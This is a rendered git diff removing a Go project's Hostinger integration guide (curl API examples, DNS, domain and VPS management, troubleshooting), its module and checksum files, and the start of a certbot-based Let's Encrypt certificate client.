curl -X POST https://your-server:9090/api/hosting/providers/hostinger/configure \
|
|
||||||
-H "Authorization: Bearer $TOKEN" \
|
|
||||||
-H "Content-Type: application/json" \
|
|
||||||
-d '{
|
|
||||||
"api_key": "YOUR_HOSTINGER_BEARER_TOKEN"
|
|
||||||
}'
|
|
||||||
|
|
||||||
# Verify the connection
|
|
||||||
curl -X POST https://your-server:9090/api/hosting/providers/hostinger/test \
|
|
||||||
-H "Authorization: Bearer $TOKEN"
|
|
||||||
```
|
|
||||||
|
|
||||||
### Via Config File
|
|
||||||
|
|
||||||
Create the config file directly on the server:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
sudo mkdir -p /opt/setec-manager/data/hosting
|
|
||||||
sudo tee /opt/setec-manager/data/hosting/hostinger.json > /dev/null << 'EOF'
|
|
||||||
{
|
|
||||||
"provider": "hostinger",
|
|
||||||
"api_key": "YOUR_HOSTINGER_BEARER_TOKEN",
|
|
||||||
"api_secret": "",
|
|
||||||
"extra": {},
|
|
||||||
"connected": true
|
|
||||||
}
|
|
||||||
EOF
|
|
||||||
sudo chmod 600 /opt/setec-manager/data/hosting/hostinger.json
|
|
||||||
```
|
|
||||||
|
|
||||||
Restart Setec Manager for the config to be loaded:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
sudo systemctl restart setec-manager
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Available Features
|
|
||||||
|
|
||||||
The Hostinger provider supports all major integration capabilities:
|
|
||||||
|
|
||||||
| Feature | Status | Notes |
|
|
||||||
|---|---|---|
|
|
||||||
| DNS Record Listing | Supported | Lists all records in a zone |
|
|
||||||
| DNS Record Creation | Supported | Adds records without overwriting |
|
|
||||||
| DNS Record Update (Batch) | Supported | Validates before applying; supports overwrite mode |
|
|
||||||
| DNS Record Deletion | Supported | Filter by name and/or type |
|
|
||||||
| DNS Zone Reset | Supported | Resets to Hostinger default records |
|
|
||||||
| Domain Listing | Supported | All domains on the account |
|
|
||||||
| Domain Details | Supported | Full WHOIS and registration info |
|
|
||||||
| Domain Availability Check | Supported | Batch check with pricing |
|
|
||||||
| Domain Purchase | Supported | Requires valid payment method |
|
|
||||||
| Nameserver Management | Supported | Update authoritative nameservers |
|
|
||||||
| Domain Lock | Supported | Enable/disable transfer lock |
|
|
||||||
| Privacy Protection | Supported | Enable/disable WHOIS privacy |
|
|
||||||
| VPS Listing | Supported | All VPS instances |
|
|
||||||
| VPS Details | Supported | Full specs, IP, status |
|
|
||||||
| VPS Creation | Supported | Requires plan, template, data center |
|
|
||||||
| Data Center Listing | Supported | Available regions for VM creation |
|
|
||||||
| SSH Key Management | Supported | Add, list, delete public keys |
|
|
||||||
| Subscription Listing | Supported | Active billing subscriptions |
|
|
||||||
| Product Catalog | Supported | Available plans and pricing |
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Rate Limits
|
|
||||||
|
|
||||||
The Hostinger API enforces rate limiting on all endpoints. The Setec Manager integration handles rate limits automatically:
|
|
||||||
|
|
||||||
- **Detection:** HTTP 429 (Too Many Requests) responses are detected.
|
|
||||||
- **Retry-After header:** The client reads the `Retry-After` header to determine how long to wait.
|
|
||||||
- **Automatic retry:** Up to 3 retries are attempted with the specified back-off.
|
|
||||||
- **Back-off cap:** Individual retry delays are capped at 60 seconds.
|
|
||||||
- **Failure:** If all retries are exhausted, the error is returned to the caller.
|
|
||||||
|
|
||||||
### Best Practices
|
|
||||||
|
|
||||||
- Avoid rapid-fire bulk operations. Space out batch DNS updates.
|
|
||||||
- Use the batch `UpdateDNSRecords` endpoint with multiple records in one call instead of creating records one at a time.
|
|
||||||
- Cache domain and VM listings on the client side when possible.
|
|
||||||
- If you see frequent 429 errors in logs, reduce the frequency of polling operations.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## DNS Record Management
|
|
||||||
|
|
||||||
### Hostinger API Endpoints Used
|
|
||||||
|
|
||||||
| Operation | Hostinger API Path |
|
|
||||||
|---|---|
|
|
||||||
| List records | `GET /api/dns/v1/zones/{domain}` |
|
|
||||||
| Update records | `PUT /api/dns/v1/zones/{domain}` |
|
|
||||||
| Validate records | `POST /api/dns/v1/zones/{domain}/validate` |
|
|
||||||
| Delete records | `DELETE /api/dns/v1/zones/{domain}` |
|
|
||||||
| Reset zone | `POST /api/dns/v1/zones/{domain}/reset` |
|
|
||||||
|
|
||||||
### Supported Record Types
|
|
||||||
|
|
||||||
| Type | Example Content | Priority | Notes |
|
|
||||||
|---|---|---|---|
|
|
||||||
| A | `93.184.216.34` | No | IPv4 address |
|
|
||||||
| AAAA | `2606:2800:220:1::` | No | IPv6 address |
|
|
||||||
| CNAME | `example.com` | No | Must be a hostname, not an IP |
|
|
||||||
| MX | `mail.example.com` | Yes | Priority determines delivery order (lower = higher priority) |
|
|
||||||
| TXT | `v=spf1 include:...` | No | Used for SPF, DKIM, domain verification |
|
|
||||||
| NS | `ns1.example.com` | No | Nameserver delegation |
|
|
||||||
| SRV | `sip.example.com` | Yes | Service location records |
|
|
||||||
| CAA | `letsencrypt.org` | No | Certificate authority authorization |
|
|
||||||
|
|
||||||
### Record ID Synthesis
|
|
||||||
|
|
||||||
Hostinger does not return unique record IDs in zone listings. Setec Manager synthesizes an ID from `name/type/priority` for each record. For example, an MX record for the root domain with priority 10 gets the ID `@/MX/10`. This ID is used internally for tracking but should not be passed back to the Hostinger API.
|
|
||||||
|
|
||||||
### Validation Before Write
|
|
||||||
|
|
||||||
The Hostinger provider validates DNS records before applying changes. When you call `UpdateDNSRecords`, the system:
|
|
||||||
|
|
||||||
1. Converts generic `DNSRecord` structs to Hostinger-specific format.
|
|
||||||
2. Sends the records to the `/validate` endpoint.
|
|
||||||
3. If validation passes, sends the actual update to the zone endpoint.
|
|
||||||
4. If validation fails, returns the validation error without modifying the zone.
|
|
||||||
|
|
||||||
This prevents malformed records from corrupting your DNS zone.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Domain Management
|
|
||||||
|
|
||||||
### Purchasing Domains
|
|
||||||
|
|
||||||
Before purchasing a domain:
|
|
||||||
|
|
||||||
1. Check availability using the availability check endpoint.
|
|
||||||
2. Note the price and currency in the response.
|
|
||||||
3. Ensure you have a valid payment method configured in your Hostinger account.
|
|
||||||
4. Submit the purchase request with the `payment_method_id` from your Hostinger account.
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# Check availability
|
|
||||||
curl -X POST https://your-server:9090/api/hosting/providers/hostinger/domains/check \
|
|
||||||
-H "Authorization: Bearer $TOKEN" \
|
|
||||||
-H "Content-Type: application/json" \
|
|
||||||
-d '{"domains": ["my-new-site.com"]}'
|
|
||||||
|
|
||||||
# Purchase (if available)
|
|
||||||
curl -X POST https://your-server:9090/api/hosting/providers/hostinger/domains/purchase \
|
|
||||||
-H "Authorization: Bearer $TOKEN" \
|
|
||||||
-H "Content-Type: application/json" \
|
|
||||||
-d '{
|
|
||||||
"domain": "my-new-site.com",
|
|
||||||
"period": 1,
|
|
||||||
"auto_renew": true,
|
|
||||||
"privacy_protection": true
|
|
||||||
}'
|
|
||||||
```
|
|
||||||
|
|
||||||
### Domain Transfers
|
|
||||||
|
|
||||||
Domain transfers are initiated outside of Setec Manager through the Hostinger hPanel. Once a domain is transferred to your Hostinger account, it will appear in `ListDomains` and can be managed through Setec Manager.
|
|
||||||
|
|
||||||
### WHOIS Privacy
|
|
||||||
|
|
||||||
Hostinger offers WHOIS privacy protection (also called "Domain Privacy Protection") that replaces your personal contact information in WHOIS records with proxy information. Enable it to keep your registrant details private:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
curl -X POST https://your-server:9090/api/hosting/providers/hostinger/domains/example.com/privacy \
|
|
||||||
-H "Authorization: Bearer $TOKEN"
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## VPS Management
|
|
||||||
|
|
||||||
### Creating a VM
|
|
||||||
|
|
||||||
To create a VPS instance, you need three pieces of information:
|
|
||||||
|
|
||||||
1. **Plan ID** -- Get from the catalog endpoint (`GET /api/hosting/providers/hostinger/catalog`).
|
|
||||||
2. **Data Center ID** -- Get from the data centers endpoint (`GET /api/hosting/providers/hostinger/datacenters`).
|
|
||||||
3. **Template** -- The OS template name (e.g., `"ubuntu-22.04"`, `"debian-12"`, `"centos-9"`).
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# List available plans
|
|
||||||
curl -s https://your-server:9090/api/hosting/providers/hostinger/catalog \
|
|
||||||
-H "Authorization: Bearer $TOKEN" | jq '.[] | select(.category == "vps")'
|
|
||||||
|
|
||||||
# List data centers
|
|
||||||
curl -s https://your-server:9090/api/hosting/providers/hostinger/datacenters \
|
|
||||||
-H "Authorization: Bearer $TOKEN"
|
|
||||||
|
|
||||||
# Create the VM
|
|
||||||
curl -X POST https://your-server:9090/api/hosting/providers/hostinger/vms \
|
|
||||||
-H "Authorization: Bearer $TOKEN" \
|
|
||||||
-H "Content-Type: application/json" \
|
|
||||||
-d '{
|
|
||||||
"plan": "kvm-2",
|
|
||||||
"data_center_id": "us-east-1",
|
|
||||||
"template": "ubuntu-22.04",
|
|
||||||
"password": "YourSecurePassword!",
|
|
||||||
"hostname": "app-server",
|
|
||||||
"ssh_key_id": "key-abc123"
|
|
||||||
}'
|
|
||||||
```
|
|
||||||
|
|
||||||
### Docker Support
|
|
||||||
|
|
||||||
Hostinger VPS instances support Docker out of the box on Linux templates. After creating a VM:
|
|
||||||
|
|
||||||
1. SSH into the new VM.
|
|
||||||
2. Install Docker using the standard installation method for your chosen OS.
|
|
||||||
3. Alternatively, select a Docker-optimized template if available in your Hostinger account.
|
|
||||||
|
|
||||||
### VM Status Values
|
|
||||||
|
|
||||||
| Status | Description |
|
|
||||||
|---|---|
|
|
||||||
| `running` | VM is powered on and operational |
|
|
||||||
| `stopped` | VM is powered off |
|
|
||||||
| `creating` | VM is being provisioned (may take a few minutes) |
|
|
||||||
| `error` | VM encountered an error during provisioning |
|
|
||||||
| `suspended` | VM is suspended (usually billing-related) |
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Troubleshooting
|
|
||||||
|
|
||||||
### Common Errors
|
|
||||||
|
|
||||||
#### "hostinger API error 401: Unauthorized"
|
|
||||||
|
|
||||||
**Cause:** The API token is invalid, expired, or revoked.
|
|
||||||
|
|
||||||
**Fix:**
|
|
||||||
1. Log in to hPanel and verify the token exists and is not expired.
|
|
||||||
2. Generate a new token if needed.
|
|
||||||
3. Update the configuration in Setec Manager.
|
|
||||||
|
|
||||||
#### "hostinger API error 403: Forbidden"
|
|
||||||
|
|
||||||
**Cause:** The API token does not have the required permissions/scopes.
|
|
||||||
|
|
||||||
**Fix:**
|
|
||||||
1. Check the token's permissions in hPanel.
|
|
||||||
2. Ensure the token has read/write access for the feature you are trying to use (DNS, domains, VPS, billing).
|
|
||||||
3. Generate a new token with the correct scopes if needed.
|
|
||||||
|
|
||||||
#### "hostinger API error 429: rate limited"
|
|
||||||
|
|
||||||
**Cause:** Too many API requests in a short period.
|
|
||||||
|
|
||||||
**Fix:**
|
|
||||||
- The client retries automatically up to 3 times. If you still see this error, you are making requests too frequently.
|
|
||||||
- Space out bulk operations.
|
|
||||||
- Use batch endpoints (e.g., `UpdateDNSRecords` with multiple records) instead of individual calls.
|
|
||||||
|
|
||||||
#### "hostinger API error 404: Not Found"
|
|
||||||
|
|
||||||
**Cause:** The domain, VM, or resource does not exist in your Hostinger account.
|
|
||||||
|
|
||||||
**Fix:**
|
|
||||||
- Verify the domain is registered with Hostinger (not just DNS-hosted).
|
|
||||||
- Check that the VM ID is correct.
|
|
||||||
- Ensure the domain's DNS zone is active in Hostinger.
|
|
||||||
|
|
||||||
#### "validate DNS records: hostinger API error 422"
|
|
||||||
|
|
||||||
**Cause:** One or more DNS records failed validation.
|
|
||||||
|
|
||||||
**Fix:**
|
|
||||||
- Check record types are valid (A, AAAA, CNAME, MX, TXT, NS, SRV, CAA).
|
|
||||||
- Verify content format matches the record type (e.g., A records must be valid IPv4 addresses).
|
|
||||||
- Ensure TTL is a positive integer.
|
|
||||||
- MX and SRV records require a priority value.
|
|
||||||
- CNAME records cannot coexist with other record types at the same name.
|
|
||||||
|
|
||||||
#### "connection failed" or "execute request" errors
|
|
||||||
|
|
||||||
**Cause:** Network connectivity issue between Setec Manager and `developers.hostinger.com`.
|
|
||||||
|
|
||||||
**Fix:**
|
|
||||||
- Verify the server has outbound HTTPS access.
|
|
||||||
- Check DNS resolution: `dig developers.hostinger.com`.
|
|
||||||
- Check if a firewall is blocking outbound port 443.
|
|
||||||
- Verify the server's system clock is accurate (TLS certificate validation requires correct time).
|
|
||||||
|
|
||||||
#### "hosting provider 'hostinger' not registered"
|
|
||||||
|
|
||||||
**Cause:** The Hostinger provider package was not imported in the binary.
|
|
||||||
|
|
||||||
**Fix:**
|
|
||||||
- Ensure `cmd/main.go` includes the blank import: `_ "setec-manager/internal/hosting/hostinger"`.
|
|
||||||
- Rebuild and restart Setec Manager.
|
|
||||||
|
|
||||||
### Checking Logs
|
|
||||||
|
|
||||||
Setec Manager logs hosting provider operations to the configured log file (default: `/var/log/setec-manager.log`). Look for lines containing `hostinger` or `hosting`:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
grep -i hostinger /var/log/setec-manager.log | tail -20
|
|
||||||
```
|
|
||||||
|
|
||||||
### Testing Connectivity Manually
|
|
||||||
|
|
||||||
You can test the Hostinger API directly from the server to rule out Setec Manager issues:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
curl -s -H "Authorization: Bearer YOUR_HOSTINGER_TOKEN" \
|
|
||||||
https://developers.hostinger.com/api/dns/v1/zones/your-domain.com
|
|
||||||
```
|
|
||||||
|
|
||||||
If this succeeds but Setec Manager fails, the issue is in the Setec Manager configuration. If this also fails, the issue is with the token or network connectivity.
|
|
||||||
@ -1,25 +0,0 @@
|
|||||||
module setec-manager
|
|
||||||
|
|
||||||
go 1.25.0
|
|
||||||
|
|
||||||
require (
|
|
||||||
github.com/go-chi/chi/v5 v5.2.5
|
|
||||||
github.com/golang-jwt/jwt/v5 v5.3.1
|
|
||||||
github.com/google/uuid v1.6.0
|
|
||||||
golang.org/x/crypto v0.48.0
|
|
||||||
gopkg.in/yaml.v3 v3.0.1
|
|
||||||
modernc.org/sqlite v1.46.1
|
|
||||||
)
|
|
||||||
|
|
||||||
require (
|
|
||||||
github.com/dustin/go-humanize v1.0.1 // indirect
|
|
||||||
github.com/gorilla/websocket v1.5.3 // indirect
|
|
||||||
github.com/mattn/go-isatty v0.0.20 // indirect
|
|
||||||
github.com/ncruces/go-strftime v1.0.0 // indirect
|
|
||||||
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect
|
|
||||||
golang.org/x/exp v0.0.0-20251023183803-a4bb9ffd2546 // indirect
|
|
||||||
golang.org/x/sys v0.41.0 // indirect
|
|
||||||
modernc.org/libc v1.67.6 // indirect
|
|
||||||
modernc.org/mathutil v1.7.1 // indirect
|
|
||||||
modernc.org/memory v1.11.0 // indirect
|
|
||||||
)
|
|
||||||
@ -1,65 +0,0 @@
|
|||||||
github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY=
|
|
||||||
github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto=
|
|
||||||
github.com/go-chi/chi/v5 v5.2.5 h1:Eg4myHZBjyvJmAFjFvWgrqDTXFyOzjj7YIm3L3mu6Ug=
|
|
||||||
github.com/go-chi/chi/v5 v5.2.5/go.mod h1:X7Gx4mteadT3eDOMTsXzmI4/rwUpOwBHLpAfupzFJP0=
|
|
||||||
github.com/golang-jwt/jwt/v5 v5.3.1 h1:kYf81DTWFe7t+1VvL7eS+jKFVWaUnK9cB1qbwn63YCY=
|
|
||||||
github.com/golang-jwt/jwt/v5 v5.3.1/go.mod h1:fxCRLWMO43lRc8nhHWY6LGqRcf+1gQWArsqaEUEa5bE=
|
|
||||||
github.com/google/pprof v0.0.0-20250317173921-a4b03ec1a45e h1:ijClszYn+mADRFY17kjQEVQ1XRhq2/JR1M3sGqeJoxs=
|
|
||||||
github.com/google/pprof v0.0.0-20250317173921-a4b03ec1a45e/go.mod h1:boTsfXsheKC2y+lKOCMpSfarhxDeIzfZG1jqGcPl3cA=
|
|
||||||
github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
|
|
||||||
github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
|
||||||
github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg=
|
|
||||||
github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
|
|
||||||
github.com/hashicorp/golang-lru/v2 v2.0.7 h1:a+bsQ5rvGLjzHuww6tVxozPZFVghXaHOwFs4luLUK2k=
|
|
||||||
github.com/hashicorp/golang-lru/v2 v2.0.7/go.mod h1:QeFd9opnmA6QUJc5vARoKUSoFhyfM2/ZepoAG6RGpeM=
|
|
||||||
github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
|
|
||||||
github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
|
|
||||||
github.com/ncruces/go-strftime v1.0.0 h1:HMFp8mLCTPp341M/ZnA4qaf7ZlsbTc+miZjCLOFAw7w=
|
|
||||||
github.com/ncruces/go-strftime v1.0.0/go.mod h1:Fwc5htZGVVkseilnfgOVb9mKy6w1naJmn9CehxcKcls=
|
|
||||||
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE=
|
|
||||||
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo=
|
|
||||||
golang.org/x/crypto v0.48.0 h1:/VRzVqiRSggnhY7gNRxPauEQ5Drw9haKdM0jqfcCFts=
|
|
||||||
golang.org/x/crypto v0.48.0/go.mod h1:r0kV5h3qnFPlQnBSrULhlsRfryS2pmewsg+XfMgkVos=
|
|
||||||
golang.org/x/exp v0.0.0-20251023183803-a4bb9ffd2546 h1:mgKeJMpvi0yx/sU5GsxQ7p6s2wtOnGAHZWCHUM4KGzY=
|
|
||||||
golang.org/x/exp v0.0.0-20251023183803-a4bb9ffd2546/go.mod h1:j/pmGrbnkbPtQfxEe5D0VQhZC6qKbfKifgD0oM7sR70=
|
|
||||||
golang.org/x/mod v0.29.0 h1:HV8lRxZC4l2cr3Zq1LvtOsi/ThTgWnUk/y64QSs8GwA=
|
|
||||||
golang.org/x/mod v0.29.0/go.mod h1:NyhrlYXJ2H4eJiRy/WDBO6HMqZQ6q9nk4JzS3NuCK+w=
|
|
||||||
golang.org/x/sync v0.17.0 h1:l60nONMj9l5drqw6jlhIELNv9I0A4OFgRsG9k2oT9Ug=
|
|
||||||
golang.org/x/sync v0.17.0/go.mod h1:9KTHXmSnoGruLpwFjVSX0lNNA75CykiMECbovNTZqGI=
|
|
||||||
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
|
||||||
golang.org/x/sys v0.41.0 h1:Ivj+2Cp/ylzLiEU89QhWblYnOE9zerudt9Ftecq2C6k=
|
|
||||||
golang.org/x/sys v0.41.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks=
|
|
||||||
golang.org/x/tools v0.38.0 h1:Hx2Xv8hISq8Lm16jvBZ2VQf+RLmbd7wVUsALibYI/IQ=
|
|
||||||
golang.org/x/tools v0.38.0/go.mod h1:yEsQ/d/YK8cjh0L6rZlY8tgtlKiBNTL14pGDJPJpYQs=
|
|
||||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
|
|
||||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
|
||||||
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
|
|
||||||
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
|
||||||
modernc.org/cc/v4 v4.27.1 h1:9W30zRlYrefrDV2JE2O8VDtJ1yPGownxciz5rrbQZis=
|
|
||||||
modernc.org/cc/v4 v4.27.1/go.mod h1:uVtb5OGqUKpoLWhqwNQo/8LwvoiEBLvZXIQ/SmO6mL0=
|
|
||||||
modernc.org/ccgo/v4 v4.30.1 h1:4r4U1J6Fhj98NKfSjnPUN7Ze2c6MnAdL0hWw6+LrJpc=
|
|
||||||
modernc.org/ccgo/v4 v4.30.1/go.mod h1:bIOeI1JL54Utlxn+LwrFyjCx2n2RDiYEaJVSrgdrRfM=
|
|
||||||
modernc.org/fileutil v1.3.40 h1:ZGMswMNc9JOCrcrakF1HrvmergNLAmxOPjizirpfqBA=
|
|
||||||
modernc.org/fileutil v1.3.40/go.mod h1:HxmghZSZVAz/LXcMNwZPA/DRrQZEVP9VX0V4LQGQFOc=
|
|
||||||
modernc.org/gc/v2 v2.6.5 h1:nyqdV8q46KvTpZlsw66kWqwXRHdjIlJOhG6kxiV/9xI=
|
|
||||||
modernc.org/gc/v2 v2.6.5/go.mod h1:YgIahr1ypgfe7chRuJi2gD7DBQiKSLMPgBQe9oIiito=
|
|
||||||
modernc.org/gc/v3 v3.1.1 h1:k8T3gkXWY9sEiytKhcgyiZ2L0DTyCQ/nvX+LoCljoRE=
|
|
||||||
modernc.org/gc/v3 v3.1.1/go.mod h1:HFK/6AGESC7Ex+EZJhJ2Gni6cTaYpSMmU/cT9RmlfYY=
|
|
||||||
modernc.org/goabi0 v0.2.0 h1:HvEowk7LxcPd0eq6mVOAEMai46V+i7Jrj13t4AzuNks=
|
|
||||||
modernc.org/goabi0 v0.2.0/go.mod h1:CEFRnnJhKvWT1c1JTI3Avm+tgOWbkOu5oPA8eH8LnMI=
|
|
||||||
modernc.org/libc v1.67.6 h1:eVOQvpModVLKOdT+LvBPjdQqfrZq+pC39BygcT+E7OI=
|
|
||||||
modernc.org/libc v1.67.6/go.mod h1:JAhxUVlolfYDErnwiqaLvUqc8nfb2r6S6slAgZOnaiE=
|
|
||||||
modernc.org/mathutil v1.7.1 h1:GCZVGXdaN8gTqB1Mf/usp1Y/hSqgI2vAGGP4jZMCxOU=
|
|
||||||
modernc.org/mathutil v1.7.1/go.mod h1:4p5IwJITfppl0G4sUEDtCr4DthTaT47/N3aT6MhfgJg=
|
|
||||||
modernc.org/memory v1.11.0 h1:o4QC8aMQzmcwCK3t3Ux/ZHmwFPzE6hf2Y5LbkRs+hbI=
|
|
||||||
modernc.org/memory v1.11.0/go.mod h1:/JP4VbVC+K5sU2wZi9bHoq2MAkCnrt2r98UGeSK7Mjw=
|
|
||||||
modernc.org/opt v0.1.4 h1:2kNGMRiUjrp4LcaPuLY2PzUfqM/w9N23quVwhKt5Qm8=
|
|
||||||
modernc.org/opt v0.1.4/go.mod h1:03fq9lsNfvkYSfxrfUhZCWPk1lm4cq4N+Bh//bEtgns=
|
|
||||||
modernc.org/sortutil v1.2.1 h1:+xyoGf15mM3NMlPDnFqrteY07klSFxLElE2PVuWIJ7w=
|
|
||||||
modernc.org/sortutil v1.2.1/go.mod h1:7ZI3a3REbai7gzCLcotuw9AC4VZVpYMjDzETGsSMqJE=
|
|
||||||
modernc.org/sqlite v1.46.1 h1:eFJ2ShBLIEnUWlLy12raN0Z1plqmFX9Qe3rjQTKt6sU=
|
|
||||||
modernc.org/sqlite v1.46.1/go.mod h1:CzbrU2lSB1DKUusvwGz7rqEKIq+NUd8GWuBBZDs9/nA=
|
|
||||||
modernc.org/strutil v1.2.1 h1:UneZBkQA+DX2Rp35KcM69cSsNES9ly8mQWD71HKlOA0=
|
|
||||||
modernc.org/strutil v1.2.1/go.mod h1:EHkiggD70koQxjVdSBM3JKM7k6L0FbGE5eymy9i3B9A=
|
|
||||||
modernc.org/token v1.1.0 h1:Xl7Ap9dKaEs5kLoOQeQmPWevfnk/DM5qcLcYlA8ys6Y=
|
|
||||||
modernc.org/token v1.1.0/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM=
|
|
||||||
@ -1,361 +0,0 @@
|
|||||||
package acme
|
|
||||||
|
|
||||||
import (
|
|
||||||
"crypto/ecdsa"
|
|
||||||
"crypto/elliptic"
|
|
||||||
"crypto/rand"
|
|
||||||
"crypto/x509"
|
|
||||||
"crypto/x509/pkix"
|
|
||||||
"encoding/pem"
|
|
||||||
"fmt"
|
|
||||||
"math/big"
|
|
||||||
"os"
|
|
||||||
"os/exec"
|
|
||||||
"path/filepath"
|
|
||||||
"regexp"
|
|
||||||
"strings"
|
|
||||||
"time"
|
|
||||||
)
|
|
||||||
|
|
||||||
// Client wraps the certbot CLI for Let's Encrypt ACME certificate management.
|
|
||||||
type Client struct {
|
|
||||||
Email string
|
|
||||||
Staging bool
|
|
||||||
Webroot string
|
|
||||||
AccountDir string
|
|
||||||
}
|
|
||||||
|
|
||||||
// CertInfo holds parsed certificate metadata.
|
|
||||||
type CertInfo struct {
|
|
||||||
Domain string `json:"domain"`
|
|
||||||
CertPath string `json:"cert_path"`
|
|
||||||
KeyPath string `json:"key_path"`
|
|
||||||
ChainPath string `json:"chain_path"`
|
|
||||||
ExpiresAt time.Time `json:"expires_at"`
|
|
||||||
Issuer string `json:"issuer"`
|
|
||||||
DaysLeft int `json:"days_left"`
|
|
||||||
}
|
|
||||||
|
|
||||||
// domainRegex validates domain names (basic RFC 1123 hostname check).
|
|
||||||
var domainRegex = regexp.MustCompile(`^([a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,}$`)
|
|
||||||
|
|
||||||
// NewClient creates a new ACME client.
|
|
||||||
func NewClient(email string, staging bool, webroot, accountDir string) *Client {
|
|
||||||
return &Client{
|
|
||||||
Email: email,
|
|
||||||
Staging: staging,
|
|
||||||
Webroot: webroot,
|
|
||||||
AccountDir: accountDir,
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// validateDomain checks that a domain name is syntactically valid before passing
|
|
||||||
// it to certbot. This prevents command injection and catches obvious typos.
|
|
||||||
func validateDomain(domain string) error {
|
|
||||||
if domain == "" {
|
|
||||||
return fmt.Errorf("domain name is empty")
|
|
||||||
}
|
|
||||||
if len(domain) > 253 {
|
|
||||||
return fmt.Errorf("domain name too long: %d characters (max 253)", len(domain))
|
|
||||||
}
|
|
||||||
if !domainRegex.MatchString(domain) {
|
|
||||||
return fmt.Errorf("invalid domain name: %q", domain)
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// Issue requests a new certificate from Let's Encrypt for the given domain
|
|
||||||
// using the webroot challenge method.
|
|
||||||
func (c *Client) Issue(domain string) (*CertInfo, error) {
|
|
||||||
if err := validateDomain(domain); err != nil {
|
|
||||||
return nil, fmt.Errorf("issue: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
if err := c.EnsureCertbotInstalled(); err != nil {
|
|
||||||
return nil, fmt.Errorf("issue: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Ensure webroot directory exists
|
|
||||||
if err := os.MkdirAll(c.Webroot, 0755); err != nil {
|
|
||||||
return nil, fmt.Errorf("issue: create webroot: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
args := []string{
|
|
||||||
"certonly", "--webroot",
|
|
||||||
"-w", c.Webroot,
|
|
||||||
"-d", domain,
|
|
||||||
"--non-interactive",
|
|
||||||
"--agree-tos",
|
|
||||||
"-m", c.Email,
|
|
||||||
}
|
|
||||||
if c.Staging {
|
|
||||||
args = append(args, "--staging")
|
|
||||||
}
|
|
||||||
|
|
||||||
cmd := exec.Command("certbot", args...)
|
|
||||||
out, err := cmd.CombinedOutput()
|
|
||||||
if err != nil {
|
|
||||||
return nil, fmt.Errorf("certbot certonly failed: %s: %w", strings.TrimSpace(string(out)), err)
|
|
||||||
}
|
|
||||||
|
|
||||||
return c.GetCertInfo(domain)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Renew renews the certificate for a specific domain.
|
|
||||||
func (c *Client) Renew(domain string) error {
|
|
||||||
if err := validateDomain(domain); err != nil {
|
|
||||||
return fmt.Errorf("renew: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
if err := c.EnsureCertbotInstalled(); err != nil {
|
|
||||||
return fmt.Errorf("renew: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
cmd := exec.Command("certbot", "renew",
|
|
||||||
"--cert-name", domain,
|
|
||||||
"--non-interactive",
|
|
||||||
)
|
|
||||||
out, err := cmd.CombinedOutput()
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("certbot renew failed: %s: %w", strings.TrimSpace(string(out)), err)
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
|
